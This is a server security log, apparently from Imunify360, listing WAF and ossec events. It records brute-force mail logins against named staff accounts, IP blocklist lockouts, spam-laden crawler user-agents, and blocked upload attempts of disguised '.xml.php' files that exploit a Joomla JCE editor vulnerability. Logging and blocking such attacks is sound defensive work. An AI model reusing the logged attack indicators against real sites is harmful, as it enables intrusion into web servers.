IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcedimyxtky.xml.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 111.221.44.12
country_id: 1880251
domain: travelinbh.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcehleqlpcu.xml.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.128.84.224
country_id: 1835841
description:
2026-07-22 15:41:37 dovecot_login authenticator failed for H=([220.189.253.198]) [121.128.84.224]:45446: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.128.84.224
country_id: 1835841
description:
Jul 22 15:41:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.128.84.224 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.170.156.248
country_id: 6251999
description:
Jul 22 15:41:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.170.156.248 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 148.170.156.248
country_id: 6251999
description:
2026-07-22 15:41:14 dovecot_login authenticator failed for H=host-148-170-156-248.public.eastlink.ca ([209.14.85.115]) [148.170.156.248]:38758: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 15:42:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 192.3.4.69
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://yedhod18.com/video-tag/%E0%B9%80%E0%B8%A2%E0%B9%87%E0%B8%94%E0%B8%AA%E0%B8%94/\">YEDHOD18</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 15:46:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"http://www.ardenneweb.eu/archive?body_value=Khi+nh%E1%BA%AFc+%C4%91%E1%BA%BFn+s%E1%BB%B1+ph%C3%A1t+tri%E1%BB%83n+v%C6%B0%E1%BB%A3t+b%E1%BA%ADc+c%E1%BB%A7a+n%C3%B4ng+nghi%E1%BB%87p+T%C3%A2y+Nguy%C3%AAn%2C+kh%C3%B4ng+th%E1%BB%83+kh%C3%B4ng+nh%E1%BA%AFc+%C4%91%E1%BA%BFn+vai+tr%C3%B2+c%E1%BB%A7a+Vi%E1%BB%87n+Eakmat.+T%E1%BB%AB+th%E1%BA%ADp+ni%C3%AAn+1970%2C+vi%E1%BB%87n+%C4%91%C3%A3+cho+ra+%C4%91%E1%BB%9Di+h%C3%A0ng+ch%E1%BB%A5c+gi%E1%BB%91ng+c%C3%A0+ph%C3%AA%2C+h%E1%BB%93+ti%C3%AAu+v%C3%A0+c%C3%A2y+%C4%83n+qu%E1%BA%A3+ch%E1%BA%A5t+l%C6%B0%E1%BB%A3ng+cao%2C+gi%C3%BAp+n%C3%B4ng+d%C3%A2n+thay+%C4%91%E1%BB%95i+t%C6%B0+duy+canh+t%C3%A1c+truy%E1%BB%81n+th%E1%BB%91ng+sang+h%C6%B0%E1%BB%9Bng+khoa+h%E1%BB%8Dc%2C+hi%E1%BB%87n+%C4%91%E1%BA%A1i+h%C6%A1n.%3Cbr%3E+%3Cbr%3E++%3Cbr%3E+%3Cbr%3E++%3Ciframe+width%3D%22640%22+height%3D%22360%22+src%3D%22%2F%2Fwww.youtube.com%2Fembed%2FMPP4z0yDyO0%22+frameborder%3D%220%22+allowfullscreen+style%3D%22float%3Aleft%3Bpadding%3A10px+10px+10px+0px%3Bborder%3A0px%3B%22%3E%3C%2Fiframe%3EC%C3%A1c+gi%E1%BB%91ng+c%C3%A0+ph%C3%AA+n%E1%BB%95i+ti%E1%BA%BFng+nh%C6%B0+TR4%2C+TR9%2C+TRS1%2C+Xanh+L%C3%B9n+%C4%91%E1%BB%81u+%C4%91%C6%B0%E1%BB%A3c+nghi%C3%AAn+c%E1%BB%A9u+v%C3%A0+ch%E1%BB%8Dn+l%E1%BB%8Dc+t%E1%BA%A1i+Vi%E1%BB%87n+Eakmat.+M%E1%BB%97i+gi%E1%BB%91ng+%C4%91%E1%BB%81u+c%C3%B3+kh%E1%BA%A3+n%C4%83ng+th%C3%ADch+nghi+t%E1%BB%91t%2C+n%C4%83ng+su%E1%BA%A5t+v%C6%B0%E1%BB%A3t+tr%E1%BB%99i+v%C3%A0+kh%C3%A1ng+b%E1%BB%87nh+cao+%E2%80%93+nh%E1%BB%AFng+y%E1%BA%BFu+t%E1%BB%91+quy%E1%BA%BFt+%C4%91%E1%BB%8Bnh+cho+th%C3%A0nh+c%C3%B4ng+c%E1%BB%A7a+ng%C6%B0%E1%BB%9Di+tr%E1%BB%93ng.%3Cbr%3E+%3Cbr%3E++%3Cbr%3E+%3Cbr%3E++H%C6%A1n+th%E1%BA%BF%2C+Vi%E1%BB%87n+c%C3%B2n+th%C6%B0%E1%BB%9Dng+xuy%C3%AAn+t%E1%BB%95+ch%E1%BB%A9c+c%C3%A1c+kh%C3%B3a+t%E1%BA%ADp+hu%E1%BA%A5n%2C+h%E1%BB%99i+th%E1%BA%A3o+k%E1%BB%B9+thu%E1%BA%ADt+v%C3%A0+chuy%E1%BB%83n+giao+c%C3%B4ng+ngh%E1%BB%87+tr%E1%BB%93ng+tr%E1%BB%8Dt+cho+n%C3%B4ng+d%C3%A2n%2C+doanh+nghi%E1%BB%87p+v%C3%A0+h%E1%BB%A3p+t%C3%A1c+x%C3%A3.+M%E1%BB%99%3Ca+href%3D%22https%3A%2F%2Fwww.fool.com%2Fsearch%2Fsolr.aspx%3Fq%3Dt%2520trong%22%3Et+trong%3C%2Fa%3E+nh%E1%BB%AFng+%C4%91%E1%BB%91i+%3Ca+href%3D%22https%3A%2F%2Fcaysauriengbmt.blogspot.com%2F2025%2F10%2Fvien-eakmat-trung-tam-nghien-cuu-va.html%22%3E%E2%80%9CH%E1%BB%A3p+t%C3%A1c+x%C3%A3+Khuy%E1%BA%BFn+N%C3%B4ng%E2%80%9D%3C%2Fa%3E+ti%C3%AAu+bi%E1%BB%83u+ch%C3%ADnh+l%C3%A0+H%E1%BB%A3p+t%C3%A1c+x%C3%A3+Khuy%E1%BA%BFn+N%C3%B4ng%2C+%C4%91%C6%A1n+v%E1%BB%8B+%C4%91%C3%A3+gi%C3%BAp+%C4%91%C6%B0a+gi%E1%BB%91ng+Eakmat+%C4%91%E1%BA%BFn+g%E1%BA%A7n+h%C6%A1n+v%E1%BB%9Bi+b%C3%A0+con+kh%E1%BA%AFp+c%E1%BA%A3+n%C6%B0%E1%BB%9Bc.%3Cbr%3E+%3Cbr%3E++%3Cbr%3E+%3Cbr%3E++%E2%98%95+Vi%E1%BB%87n+Eakmat+%E2%80%93+Ni%E1%BB%81m+t%E1%BB%B1+h%C3%A0o+c%E1%BB%A7a+n%C3%B4ng+nghi%E1%BB%87p+T%C3%A2y+Nguy%C3%AAn%2C+n%C6%A1i+%C6%B0%C6%A1m+m%E1%BA%A7m+cho+nh%E1%BB%AFng+m%C3%B9a+v%C3%A0ng+b%E1%BB%99i+thu.\">\xe2\x80\x9cVi\xe1\xbb\x87n Eakmat\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 15:46:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 15:57:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 16:04:06 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 16:06:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 16:07:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.104.166.110
country_id: 1835841
description:
Jul 22 16:18:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.104.166.110 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.104.166.110
country_id: 1835841
description:
2026-07-22 16:18:56 dovecot_login authenticator failed for H=(nsg-corporate-129.229.187.122.airtel.in) [211.104.166.110]:59784: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.38.248
country_id: 1668284
description:
Jul 22 16:19:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.38.248 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.38.248
country_id: 1668284
description:
2026-07-22 16:19:06 dovecot_login authenticator failed for H=111-70-38-248.emome-ip.hinet.net ([183.221.101.116]) [111.70.38.248]:48031: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 16:19:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 64.52.161.203
country_id: 6252001
description:
Jul 22 16:26:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 64.52.161.203 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.52.161.203
country_id: 6252001
description:
2026-07-22 16:26:16 dovecot_login authenticator failed for H=(dynamic-ip-adsl.viettel.vn) [64.52.161.203]:39448: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 16:25:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 16:27:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.119.44.29
country_id: 1282988
description:
Jul 22 16:28:25 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.119.44.29 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.119.44.29
country_id: 1282988
description:
2026-07-22 16:28:27 dovecot_login authenticator failed for H=([82.162.56.186]) [111.119.44.29]:59420: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 16:28:55 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.206.194.29
country_id: 1269750
description:
Jul 22 16:29:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.206.194.29 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.194.29
country_id: 1269750
description:
2026-07-22 16:29:07 dovecot_login authenticator failed for H=([31.173.2.33]) [49.206.194.29]:46042: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 67.85.146.216
country_id: 6252001
description:
Jul 22 16:28:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 67.85.146.216 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.85.146.216
country_id: 6252001
description:
2026-07-22 16:28:47 dovecot_login authenticator failed for H=ool-435592d8.dyn.optonline.net ([118.98.90.22]) [67.85.146.216]:41587: 535 Incorrect authentication data (set_id=cil)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 107.173.217.40
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://mzgtv01.com\">\xed\x95\xb4\xec\x99\xb8\xec\x8a\xa4\xed\x8f\xac\xec\xb8\xa0\xec\xa4\x91\xea\xb3\x84</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 87.199.209.217
country_id: 2750405
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:16-35.87.199.209.217||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 16:41:32 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 16:47:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 22 16:47:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 16:47:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 16:50:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.200.6
country_id: 1269750
description:
2026-07-22 16:51:17 dovecot_login authenticator failed for H=(adsl.viettel.vn) [152.52.200.6]:38542: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.52.200.6
country_id: 1269750
description:
Jul 22 16:51:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.52.200.6 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.254.71.129
country_id: 2963597
description:
Jul 22 16:51:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.254.71.129 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.187.47
country_id: 99237
description:
Jul 22 16:52:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.187.47 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.187.47
country_id: 99237
description:
2026-07-22 16:52:18 dovecot_login authenticator failed for H=([184.185.2.1]) [65.20.187.47]:45190: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.71.129
country_id: 2963597
description:
2026-07-22 16:51:43 dovecot_login authenticator failed for H=([49.125.201.84]) [207.254.71.129]:62883: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.174.49
country_id: 99237
description:
2026-07-22 16:52:37 dovecot_login authenticator failed for H=([115.95.23.226]) [65.20.174.49]:55891: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.116.117.203
country_id: 2921044
description:
Jul 22 16:53:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.116.117.203 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.116.117.203
country_id: 2921044
description:
2026-07-22 16:53:25 dovecot_login authenticator failed for H=(ip184-182-240-1.mc.at.cox.net) [51.116.117.203]:22255: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.233.29.157
country_id: 3865483
description:
2026-07-22 16:53:38 dovecot_login authenticator failed for H=([49.124.151.5]) [170.233.29.157]:35756: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.234.239.57
country_id: 6252001
description:
Jul 22 16:54:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.234.239.57 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.234.239.57
country_id: 6252001
description:
2026-07-22 16:54:46 dovecot_login authenticator failed for H=wsip-24-234-239-57.lv.lv.cox.net ([98.170.57.251]) [24.234.239.57]:35979: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 17:03:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.107.180
country_id: 1269750
description:
2026-07-22 17:04:55 dovecot_login authenticator failed for H=([98.182.171.163]) [117.250.107.180]:58762: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.82.110.150
country_id: 660013
description:
2026-07-22 17:05:23 dovecot_login authenticator failed for H=([196.203.231.220]) [45.82.110.150]:46726: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 17:08:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 22 17:10:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.1.105.105
country_id: 1269750
description:
Jul 22 17:10:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.1.105.105 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.1.105.105
country_id: 1269750
description:
2026-07-22 17:10:33 dovecot_login authenticator failed for H=([178.177.40.47]) [61.1.105.105]:52975: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 17:09:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 17:11:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: modsec
rule: 77469916
abuser: 37.122.149.53
country_id: 6251999
domain: idealloanz.com.au
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:cve-2026-48907-9860.xml.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 17:25:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.116.66
country_id: 1269750
description:
Jul 22 17:27:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.116.66 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.116.66
country_id: 1269750
description:
2026-07-22 17:27:15 dovecot_login authenticator failed for H=([199.187.210.51]) [182.95.116.66]:55600: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 17:28:29 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-22 17:30:07 dovecot_login authenticator failed for H=([174.64.199.92]) [102.210.148.41]:50360: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.207.248.138
country_id: 2328926
description:
Jul 22 17:30:17 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.207.248.138 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.157.90.252
country_id: 6251999
description:
Jul 22 17:30:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.157.90.252 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.157.90.252
country_id: 6251999
description:
2026-07-22 17:30:43 dovecot_login authenticator failed for H=d157-90-252.home4.cgocable.net ([64.52.161.203]) [24.157.90.252]:52546: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.63.219.148
country_id: 1835841
description:
Jul 22 17:30:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.63.219.148 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.63.219.148
country_id: 1835841
description:
2026-07-22 17:30:53 dovecot_login authenticator failed for H=(74-209-100-246.truvista.net) [211.63.219.148]:58582: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.207.248.138
country_id: 2328926
description:
2026-07-22 17:30:19 dovecot_login authenticator failed for H=(h-85-24-200-219.A158.priv.bahnhof.se) [41.207.248.138]:37246: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 17:31:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.192.249.195
country_id: 1835841
description:
Jul 22 17:31:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.192.249.195 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.249.195
country_id: 1835841
description:
2026-07-22 17:31:58 dovecot_login authenticator failed for H=([70.166.167.42]) [119.192.249.195]:49535: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 17:32:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 22 17:33:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 17:33:29 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77469916
abuser: 37.122.149.53
country_id: 6251999
domain: elegantautomotives.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:cve-2026-48907-9355.xml.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://hvacrepair3.info\">web site</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 17:48:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 62.84.168.162
country_id: 2635167
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://alsaudiapress.com/%D8%B9%D9%85%D8%B1-%D9%83%D8%B1%D9%8A%D9%85%D9%84%D9%8A%D9%81-%D9%8A%D8%B9%D9%8A%D8%AF-%D8%AA%D8%B4%D9%83%D9%8A%D9%84-%D8%B9%D8%A7%D9%84%D9%85-%D8%A7%D9%84%D9%85%D9%84%D8%A7%D9%83%D9%85%D8%A9-%D8%B1/\">umar kremlev kimdir</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 17:53:32 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 17:53:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.135.172
country_id: 1819730
description:
Jul 22 17:53:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.135.172 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.135.172
country_id: 1819730
description:
